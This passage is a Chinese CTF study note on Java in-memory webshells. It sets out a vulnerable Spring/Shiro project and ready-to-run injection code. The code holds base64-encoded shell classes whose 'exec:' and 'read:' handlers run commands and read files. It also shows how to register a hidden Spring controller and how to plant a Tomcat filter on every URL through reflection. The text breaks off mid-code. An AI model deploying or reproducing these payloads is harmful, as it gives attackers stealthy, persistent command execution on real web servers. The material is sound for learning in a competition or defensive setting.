java内存shell学习

java内存shell的学习。

前言

这次安洵杯线下因为没上内存shell吃了亏,现在补一下。

这里需要说明下,因为网络上关于java中间件内存shell的研究已经很多了,个人做的工作主要是复现了通杀spring添加controller的思路,还有tomcat filiter添加的思路,然后自己改了下放在ysomap,并没有很新的东西,仅仅是自己的学习笔记。

环境介绍

  • Jdk8

  • Awd.jar 安洵杯线下赛java的题目,可以直接用ysomap的cc9打。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.springframework</groupId>
    <artifactId>awd</artifactId>
    <version>1.0</version>

    <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <!--latest-->
    <version>2.2.0.RELEASE</version>
    </parent>

    <dependencies>
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
    </dependency>
    <dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.5.3</version>
    </dependency>

    <dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-web</artifactId>
    <version>1.5.3</version>
    </dependency>

    <dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-spring</artifactId>
    <version>1.5.3</version>
    </dependency>
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
    </dependency>

    </dependencies>

    <properties>
    <java.version>1.8</java.version>
    </properties>

    <build>
    <plugins>
    <plugin>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-maven-plugin</artifactId>
    </plugin>
    </plugins>
    </build>
    </project>

内存shell复现

spring 通杀型内存注册

这里我首先参考了雷神众测的思路,然后也看了观星的文章,发现自己复现起来和公众号的结果有些出入,这里记录下。

这里的思路主要有两步,首先需要将内存shell的类,通过合适的classLoader加载到内存中,然后需要通过org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping类的registerMapping注册一个controller到上下文中。最终代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@GetMapping({"/remember"})
@ResponseBody
public Person index() {
try {
String s1 = "yv66vgAAADQAwwoAMABmCABECwBnAGgLAGkAaggAawgAbAoAFwBtCgAXAG4KAC4AbwgAcAoALgBxCAByCgBGAHMKAEYAdAoARgB1BwB2CgAQAHcHAHgKABIAZgcAeQcAegoAFwB7BwB8CgB9AH4HAH8KAIAAgQoAFQCCCgAUAIMKABQAhAoAEgCFCACGCgASAIcKAIgAiQoAiACKCgBbAIsKAFsAjAgAjQoAFQCOCgBbAI8KABIAkAoALgCRCgBbAJIHAJMKACsAdwsAlAB1BwCVCgAuAGYHAJYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE0xzaGVsbC9TcHJpbmdTaGVsbDsBAAVpbmRleAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAJwdwEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEABnJlc3VsdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAANyZXEBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAANyZXMBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQADY21kAQANU3RhY2tNYXBUYWJsZQcAlwEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAFL1B3bnIBAARyZWFkAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAARmaWxlAQANc3RyaW5nQnVpbGRlcgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAVsaW5lMgEACkV4Y2VwdGlvbnMBAARleGVjAQAEbGluZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB2NvbW1hbmQBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEACGJ1ZmZlckluAQALYnVmZmVyRXJyb3IHAJgHAJkBAAtjbG9zZVN0cmVhbQEAFihMamF2YS9pby9DbG9zZWFibGU7KVYBAAZzdHJlYW0BABNMamF2YS9pby9DbG9zZWFibGU7AQALbmV3SW5zdGFuY2UBABUoKUxzaGVsbC9TcHJpbmdTaGVsbDsBAApTb3VyY2VGaWxlAQAQU3ByaW5nU2hlbGwuamF2YQEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMADEAMgcAmgwAmwBMBwCcDACdAJ4BAAABAAVyZWFkOgwAnwCgDAChAKIMAEsATAEABWV4ZWM6DABTAEwBAB9oZWxwOiByZWFkOltmaWxlXSB8IGV4ZWM6W2NtZF0KDACjAKQMAKUAMgwApgAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwApwAyAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAqACpAQAQamF2YS9sYW5nL1N0cmluZwcAqgwAqwCsAQAYamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uBwCtDACuAK8MADEAsAwAMQCxDACyAKkMALMAtAEAAQoMALUAqQcAtgwAtwC4DABTALkMALoAuwwAvAC9AQAFVVRGLTgMADEAvgwAvwC9DACzAMAMAF0AXgwAwQAyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAwgEAEXNoZWxsL1NwcmluZ1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vUHJpbnRXcml0ZXIBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvbGFuZy9UaHJvd2FibGUBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBAA9wcmludFN0YWNrVHJhY2UBAAR0cmltAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL25pby9maWxlL1BhdGhzAQADZ2V0AQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsBABNqYXZhL25pby9maWxlL0ZpbGVzAQAObmV3SW5wdXRTdHJlYW0BAEYoTGphdmEvbmlvL2ZpbGUvUGF0aDtbTGphdmEvbmlvL2ZpbGUvT3Blbk9wdGlvbjspTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAAd3YWl0Rm9yAQADKClJAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEADmdldEVycm9yU3RyZWFtAQAcKEMpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAB2Rlc3Ryb3kBABFqYXZhL2lvL0Nsb3NlYWJsZQAhAC4AMAAAAAAABgABADEAMgABADMAAAAzAAEAAQAAAAUqtwABsQAAAAIANAAAAAoAAgAAABAABAASADUAAAAMAAEAAAAFADYANwAAAAEAOAA5AAIAMwAAATsAAgAGAAAAaysSArkAAwIATi3GAFYsuQAEAQA6BBIFOgUtEga2AAeZABMtCLYACE4qLbYACToFpwAgLRIKtgAHmQATLQi2AAhOKi22AAs6BacABxIMOgUZBBkFtgANGQS2AA4ZBLYAD6cACjoEGQS2ABGxAAEACQBgAGMAEAADADQAAABKABIAAAAWAAkAGAANABkAFQAaABkAGwAiABwAKAAdADIAHgA7AB8AQQAgAEsAIgBPACQAVgAlAFsAJgBgACsAYwApAGUAKgBqAC4ANQAAAEgABwAVAEsAOgA7AAQAGQBHADwAPQAFAGUABQA+AD8ABAAAAGsANgA3AAAAAABrAEAAQQABAAAAawBCAEMAAgAJAGIARAA9AAMARQAAABgABv4AMgcAFwcARgcAFxgD+QAQQgcAEAYARwAAAA4AAQBIAAEASVsAAXMASgABAEsATAACADMAAADJAAYABQAAAEq7ABJZtwATTbsAFFm7ABVZK7YAFgO9ABe4ABgDvQAZuAAatwAbtwAcTgE6BC22AB1ZOgTGABIsGQS2AB4SH7YAHlen/+ostgAgsAAAAAMANAAAAB4ABwAAADEACAAyABEAMwApADQALAA1ADYANgBFADgANQAAADQABQAAAEoANgA3AAAAAABKAE0APQABAAgAQgBOAE8AAgApACEASwBQAAMALAAeAFEAPQAEAEUAAAAPAAL+ACwHABIHABQHABcYAFIAAAAEAAEAEAABAFMATAABADMAAAIHAAYACAAAAM27ABJZtwATTQFOAToEAToFuAAhK7YAIk4ttgAjV7sAFFm7ABVZLbYAJBIltwAmtwAcOgS7ABRZuwAVWS22ACcSJbcAJrcAHDoFAToGGQS2AB1ZOgbGABIsGQa2AB4QCrYAKFen/+kZBbYAHVk6BsYAEiwZBrYAHhAKtgAoV6f/6RkEuAApGQW4ACktxgA9LbYAKqcANjoGGQa2ACwZBLgAKRkFuAApLcYAIS22ACqnABo6BxkEuAApGQW4ACktxgAHLbYAKhkHvyy2ACCwAAQAEACAAJUAKwAQAIAAsQAAAJUAnACxAAAAsQCzALEAAAADADQAAAB2AB0AAAA8AAgAPgAKAD8ADQBAABAAQwAYAEUAHQBHADMASABJAEoATABLAFcATABmAE4AcQBPAIAAVQCFAFYAigBYAI4AWQCVAFIAlwBTAJwAVQChAFYApgBYAKoAWQCxAFUAuABWAL0AWADBAFkAxQBbAMgAXQA1AAAAUgAIAEwANABUAD0ABgCXAAUAPgBVAAYAAADNADYANwAAAAAAzQBWAD0AAQAIAMUAPABPAAIACgDDAFcAWAADAA0AwABZAFAABAAQAL0AWgBQAAUARQAAADQAB/8ATAAHBwAuBwAXBwASBwBbBwAUBwAUBwAXAAAZ+gAZVAcAK1sHAFz9ABMABwBc+QACAAoAXQBeAAEAMwAAAF4AAQACAAAADyrGAA0quQAtAQCnAARMsQABAAQACgANACsAAwA0AAAAFgAFAAAAYQAEAGMACgBmAA0AZAAOAGgANQAAAAwAAQAAAA8AXwBgAAAARQAAAAcAAk0HACsAAAkAYQBiAAEAMwAAACAAAgAAAAAACLsALlm3AC+wAAAAAQA0AAAABgABAAAAawACAGMAAAACAGQARwAAAAYAAQBlAAA=";
byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
//ClassLoader classLoader=ClassLoader.getSystemClassLoader();
ClassLoader classLoader=Thread.currentThread().getContextClassLoader();
m.invoke(classLoader, new Object[]{"shell.SpringShell", bytes1, 0, bytes1.length});
javax.servlet.ServletContext sss = ((org.springframework.web.context.request.ServletRequestAttributes) org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();
org.springframework.web.context.WebApplicationContext context = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContext(sss);
org.springframework.web.servlet.mvc.condition.PatternsRequestCondition url = new org.springframework.web.servlet.mvc.condition.PatternsRequestCondition(new String[]{"/hahaha"});
RequestMethod[] a = {RequestMethod.GET, RequestMethod.POST};
org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition ms = new org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition(a);
org.springframework.web.servlet.mvc.method.RequestMappingInfo info = new org.springframework.web.servlet.mvc.method.RequestMappingInfo(url, ms, null, null, null, null, null);
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping rs = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
m = (Class.forName("shell.SpringShell",true,classLoader).getDeclaredMethods())[0];
rs.registerMapping(info, Class.forName("shell.SpringShell",true,classLoader).newInstance(), m);
} catch (Exception e) {
e.printStackTrace();
}
Person o = new Person();
return o;
}
  1. 首先需要把需要注入的class通过defineClass方法加载到线程的内存中,这里需要注意的可能因为classLoader不同的缘故导致在使用Class.forName的时候找不到已经加载到内存中的类。原因如下:

    查看java8的文档可以发现,Class.forName(String name)其实是Class.forName(String name,true,currentLoader)的简写,如果直接使用雷神众测上的代码,有可能报class not found,我们需要手动指定classLoader或者直接使用方法调用类的ClassLoader,也就是xxxclass.class.getClassLoader()的结果。

  2. 第二个就是使用registerMapping注册一个Controller,这里首先需要获取当前的上下文,直接使用WebApplicationContextUtils.getWebApplicationContext方法获取即可。然后需要设置RequestMappingInfo,主要是设置可以访问控制器的方法和访问controller的路径,最后调用registerMapping方法即可。

tomcat filter内存shell复现

这种方法主要的思路就是通过反射修改WRAP_SAME_OBJECT,然后将lastServicedResponse和lastServicedRequest初始化,使得下一次请求能够获取request和response对象,然后就可以向上下文中注册了一个filter,并且把这个filter放到首位,使得filter一定能够被访问到。我把shell injection的内容一起放在了req和resp的初始化这里。

分析的文章大家直接看原作者的吧,我觉得讲的还是很好的。

threedr3am

有几个断点大家可以参考下,

org.apache.catalina.core.ApplicationFilterChain的104和78行

org.apache.catalina.core.ApplicationContext 的495行

因为这里还考虑了shiro漏洞优化的问题,所以需要把这个注册的filter放到所有filter之前执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
@GetMapping({"/test"})
@ResponseBody
public Person test() {
try {
//加载动态filter

String s1="yv66vgAAADQAzQoALwBtCABMCwBuAG8LAHAAcQgAcggAcwoAFwB0CgAXAHUKAC4AdggAdwoALgB4CAB5CgB6AHsKAHoAfAoAegB9BwB+CgAQAH8HAIAKABIAbQcAgQcAggoAFwCDBwCECgCFAIYHAIcKAIgAiQoAFQCKCgAUAIsKABQAjAoAEgCNCACOCgASAI8KAJAAkQoAkACSCgCTAJQKAJMAlQgAlgoAFQCXCgCTAJgKABIAmQoALgCaCgCTAJsHAJwKACsAfwsAnQB9BwCeBwCfBwCgAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABRMc2hlbGwvVG9tY2F0RmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAKEBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAAJwdwEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEABnJlc3VsdAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAANyZXEBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAANjbWQBAA1TdGFja01hcFRhYmxlBwCEBwCiBwB+AQAHZGVzdHJveQEABHJlYWQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGZpbGUBAA1zdHJpbmdCdWlsZGVyAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABWxpbmUyBwCABwCBAQAEZXhlYwEABGxpbmUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAdjb21tYW5kAQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAhidWZmZXJJbgEAC2J1ZmZlckVycm9yBwCeBwCjBwCcBwCkAQALY2xvc2VTdHJlYW0BABYoTGphdmEvaW8vQ2xvc2VhYmxlOylWAQAGc3RyZWFtAQATTGphdmEvaW8vQ2xvc2VhYmxlOwEAClNvdXJjZUZpbGUBABFUb21jYXRGaWx0ZXIuamF2YQwAMQAyBwClDACmAFMHAKcMAKgAqQEAAAEABXJlYWQ6DACqAKsMAKwArQwAUgBTAQAFZXhlYzoMAFsAUwEAH2hlbHA6IHJlYWQ6W2ZpbGVdIHwgZXhlYzpbY21kXQoHAKIMAK4ArwwAsAAyDACxADIBABNqYXZhL2lvL0lPRXhjZXB0aW9uDACyADIBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDACzALQBABBqYXZhL2xhbmcvU3RyaW5nBwC1DAC2ALcBABhqYXZhL25pby9maWxlL09wZW5PcHRpb24HALgMALkAugwAMQC7DAAxALwMAL0AtAwAvgC/AQABCgwAwAC0BwDBDADCAMMMAFsAxAcAowwAxQDGDADHAMgBAAVVVEYtOAwAMQDJDADKAMgMAL4AywwAZwBoDABRADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwDMAQASc2hlbGwvVG9tY2F0RmlsdGVyAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9QcmludFdyaXRlcgEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9sYW5nL1Rocm93YWJsZQEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFZmx1c2gBAAVjbG9zZQEAD3ByaW50U3RhY2tUcmFjZQEABHRyaW0BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvbmlvL2ZpbGUvUGF0aHMBAANnZXQBADsoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAE2phdmEvbmlvL2ZpbGUvRmlsZXMBAA5uZXdJbnB1dFN0cmVhbQEARihMamF2YS9uaW8vZmlsZS9QYXRoO1tMamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAB3dhaXRGb3IBAAMoKUkBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAOZ2V0RXJyb3JTdHJlYW0BABwoQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQARamF2YS9pby9DbG9zZWFibGUAIQAuAC8AAQAwAAAABwABADEAMgABADMAAAAvAAEAAQAAAAUqtwABsQAAAAIANAAAAAYAAQAAAAgANQAAAAwAAQAAAAUANgA3AAAAAQA4ADkAAgAzAAAANQAAAAIAAAABsQAAAAIANAAAAAYAAQAAAAwANQAAABYAAgAAAAEANgA3AAAAAAABADoAOwABADwAAAAEAAEAPQABAD4APwACADMAAAFPAAIABwAAAHUrEgK5AAMCADoEGQTGAF4suQAEAQA6BRIFOgYZBBIGtgAHmQAWGQQItgAIOgQqGQS2AAk6BqcAJBkEEgq2AAeZABYZBAi2AAg6BCoZBLYACzoGpwAHEgw6BhkFGQa2AA0ZBbYADhkFtgAPpwAKOgUZBbYAEbEAAQAKAGoAbQAQAAMANAAAAEoAEgAAABEACgATAA8AFAAXABUAGwAWACUAFwAtABgAOAAZAEIAGgBKABsAVQAdAFkAHwBgACAAZQAhAGoAJgBtACQAbwAlAHQAJwA1AAAAUgAIABcAUwBAAEEABQAbAE8AQgBDAAYAbwAFAEQARQAFAAAAdQA2ADcAAAAAAHUARgBHAAEAAAB1AEgASQACAAAAdQBKAEsAAwAKAGsATABDAAQATQAAABgABv4AOAcATgcATwcAThwD+QAQQgcAUAYAPAAAAAYAAgAQAD0AAQBRADIAAQAzAAAAKwAAAAEAAAABsQAAAAIANAAAAAYAAQAAACwANQAAAAwAAQAAAAEANgA3AAAAAQBSAFMAAgAzAAAAyQAGAAUAAABKuwASWbcAE027ABRZuwAVWSu2ABYDvQAXuAAYA70AGbgAGrcAG7cAHE4BOgQttgAdWToExgASLBkEtgAeEh+2AB5Xp//qLLYAILAAAAADADQAAAAeAAcAAAAvAAgAMAARADEAKQAyACwAMwA2ADQARQA2ADUAAAA0AAUAAABKADYANwAAAAAASgBUAEMAAQAIAEIAVQBWAAIAKQAhAFIAVwADACwAHgBYAEMABABNAAAADwAC/gAsBwBZBwBaBwBOGAA8AAAABAABABAAAQBbAFMAAQAzAAACBwAGAAgAAADNuwASWbcAE00BTgE6BAE6BbgAISu2ACJOLbYAI1e7ABRZuwAVWS22ACQSJbcAJrcAHDoEuwAUWbsAFVkttgAnEiW3ACa3ABw6BQE6BhkEtgAdWToGxgASLBkGtgAeEAq2AChXp//pGQW2AB1ZOgbGABIsGQa2AB4QCrYAKFen/+kZBLgAKRkFuAApLcYAPS22ACqnADY6BhkGtgAsGQS4ACkZBbgAKS3GACEttgAqpwAaOgcZBLgAKRkFuAApLcYABy22ACoZB78stgAgsAAEABAAgACVACsAEACAALEAAACVAJwAsQAAALEAswCxAAAAAwA0AAAAdgAdAAAAOgAIADwACgA9AA0APgAQAEEAGABDAB0ARQAzAEYASQBIAEwASQBXAEoAZgBMAHEATQCAAFMAhQBUAIoAVgCOAFcAlQBQAJcAUQCcAFMAoQBUAKYAVgCqAFcAsQBTALgAVAC9AFYAwQBXAMUAWQDIAFsANQAAAFIACABMADQAXABDAAYAlwAFAEQAXQAGAAAAzQA2ADcAAAAAAM0AXgBDAAEACADFAEIAVgACAAoAwwBfAGAAAwANAMAAYQBXAAQAEAC9AGIAVwAFAE0AAAA0AAf/AEwABwcAYwcATgcAWQcAZAcAWgcAWgcATgAAGfoAGVQHAGVbBwBm/QATAAcAZvkAAgAKAGcAaAABADMAAABeAAEAAgAAAA8qxgANKrkALQEApwAETLEAAQAEAAoADQArAAMANAAAABYABQAAAF8ABABhAAoAZAANAGIADgBmADUAAAAMAAEAAAAPAGkAagAAAE0AAAAHAAJNBwBlAAABAGsAAAACAGw=";

byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
//ClassLoader classLoader=ClassLoader.getSystemClassLoader();
//ClassLoader classLoade1=Thread.currentThread().getContextClassLoader();
m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{"shell.TomcatFilter", bytes1, 0, bytes1.length});
/*刚开始反序列化后执行的逻辑*/
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}

//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}

//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}


} catch (Exception e) {

}

Person o = new Person();
return o;
}


@GetMapping({"/test1"})
@ResponseBody
public Person test1(){
try{
/*shell注入,前提需要能拿到request、response等*/
java.lang.reflect.Field field = org.apache.catalina.core.ApplicationFilterChain.class
.getDeclaredField("lastServicedRequest");
field.setAccessible(true);
ThreadLocal t = (ThreadLocal) field.get(null);
ServletRequest servletRequest = null;
//不为空则意味着第一次反序列化的准备工作已成功
if (t != null && t.get() != null) {
servletRequest = (ServletRequest) t.get();
}
if (servletRequest != null) {
javax.servlet.ServletContext servletContext = servletRequest.getServletContext();
org.apache.catalina.core.StandardContext standardContext = null;
//判断是否已有该名字的filter,有则不再添加
if (servletContext.getFilterRegistration("star") == null) {
//遍历出标准上下文对象
for (; standardContext == null; ) {
java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object o = contextField.get(servletContext);
if (o instanceof javax.servlet.ServletContext) {
servletContext = (javax.servlet.ServletContext) o;
} else if (o instanceof org.apache.catalina.core.StandardContext) {
standardContext = (org.apache.catalina.core.StandardContext) o;
}
}
if (standardContext != null) {
//修改状态,要不然添加不了
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//创建一个自定义的Filter马
//从内存中加载马
javax.servlet.Filter star = (javax.servlet.Filter)(Class.forName("shell.TomcatFilter").newInstance());
//添加filter马
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter("star", star);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
//状态恢复,要不然服务不可用
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}

if (standardContext != null) {
//生效filter
